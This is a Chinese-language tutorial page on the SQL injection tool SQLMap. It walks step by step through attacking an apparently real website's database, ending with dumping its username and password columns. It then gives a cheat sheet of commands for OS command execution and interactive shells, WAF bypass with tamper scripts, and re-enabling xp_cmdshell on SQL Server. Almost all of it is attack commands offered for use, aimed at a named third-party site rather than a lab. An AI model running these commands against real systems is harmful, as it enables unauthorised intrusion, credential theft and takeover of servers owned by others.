[基本实验] 使用SQLMap

来源:互联网 发布:断电mysql修复 编辑:程序博客网 时间:2024/06/06 03:58
数据库支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB
SQL注入类型包括SQL盲注、UNION注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术
支持枚举用户、密码哈希、权限、角色、数据库、表和列
支持执行任意命令
自动识别密码加密方式,并且可以使用字典解密
支持数据导出方式

SQLMap举例
第一步:判断是否是注入点
python sqlmap.py -u "http://[HOST]/magazine/magdet.asp?id=1725"
使用-u参数指定URL,如果URL存在注入点,将会显示出Web容器、数据库版本信息

第二步:获取数据库
python sqlmap.py -u "http://www.hip.com.cn/magazine/magdet.asp?id=1725" --dbs
使用--dbs参数读取数据库

第三步:查看当前应用程序所用数据库
python sqlmap.py -u "http://www.hip.com.cn/magazine/magdet.asp?id=1725" --current-db
使用--current-db参数列出当前应用程序所使用的数据库

第四步:列出指定数据库的所有表
python sqlmap.py -u "http://www.hip.com.cn/magazine/magdet.asp?id=1725" -D "jiaonianji1" --tables
使用--tables参数获取数据库表,-D参数指定数据库

第五步:读取指定表中的字段名称
python sqlmap.py -u "http://www.hip.com.cn/magazine/magdet.asp?id=1725" -D "jiaonianji1" -T has_user --columns
使用--columns参数列取字段名

第六步:读取指定字段内容
python sqlmap.py -u "http://www.hip.com.cn/magazine/magdet.asp?id=1725" -D "jiaonianji1" -T has_user -C "username,userpass" --dump
--dump参数意为转存数据,-C参数指定字段名称,-T指定表名,-D指定数据库名称

SQLMAP常用参数
1.测试注入点权限
sqlmap.py -u [URL] --privileges         //测试所有用户的权限
sqlmap.py -u [URL] --privileges -U sa   //测试sa用户权限
2.执行Shell命令
sqlmap.py -u [URL] --os-cmd="net user"  //执行net user命令
sqlmap.py -u [URL] --os-shell           //系统交互的shell
3.获取当前数据库名称
sqlmap.py -u [URL] --current-db
4.执行SQL命令
sqlmap.py -u [URL] --sql-shell          //返回SQL交互的shell,可以执行SQL语句
sqlmap.py -u [URL] --sql-query="sql"
5.POST提交方式
sqlmap.py -u [URL] --data "POST参数"
6.显示详细的等级
sqlmap.py -u [URL] --dbs -v 1
7.注入HTTP请求
sqlmap.py -r head.txt --dbs
8.直接连接到数据库
sqlmap.py -d "mysql://admin:admin@192.168.1.8:3306/testdb" --dbs
9.注入等级
sqlmap.py -u [URL] --level 3
10.将注入语句插入到指定位置
sqlmap.py -u "http://www.example.com/id/2*.html" --dbs
有些网站采用了伪静态的页面,这时再使用SQLMap注入则无能为力,因为SQLMap无法识别哪里是对服务器提交的请求参数,所以SQLMap提供了“*”参数,将SQL语句插入到指定位置,这一用法常用于伪静态注入。
11.使用SQLMap插件
sqlmap.py -u [URL] -tamper "space2morehash.py"

SQLMap自带了非常多的插件,可针对注入的SQL语句进行编码等操作,插件都保存在SQLMap目录下的tamper文件夹中,这些插件通常用于绕过WAF。

12.sqlmap进行base64注入:
sqlmap的tamper里有个base64encode.py,使用如下:
sqlmap -u http://hacker.com/index.php?tel=LTEnIG9yICc40Cc9Jzg5 --tamper base64encode.py --dbs

13.参数:--os-cmd,--os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库lib_mysqludf_sys,包含用户自定义的函数,sys_exec()和sys_eval()。
那么他创建的这两个函数可以执行系统命令。

在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。


0 0
原创粉丝点击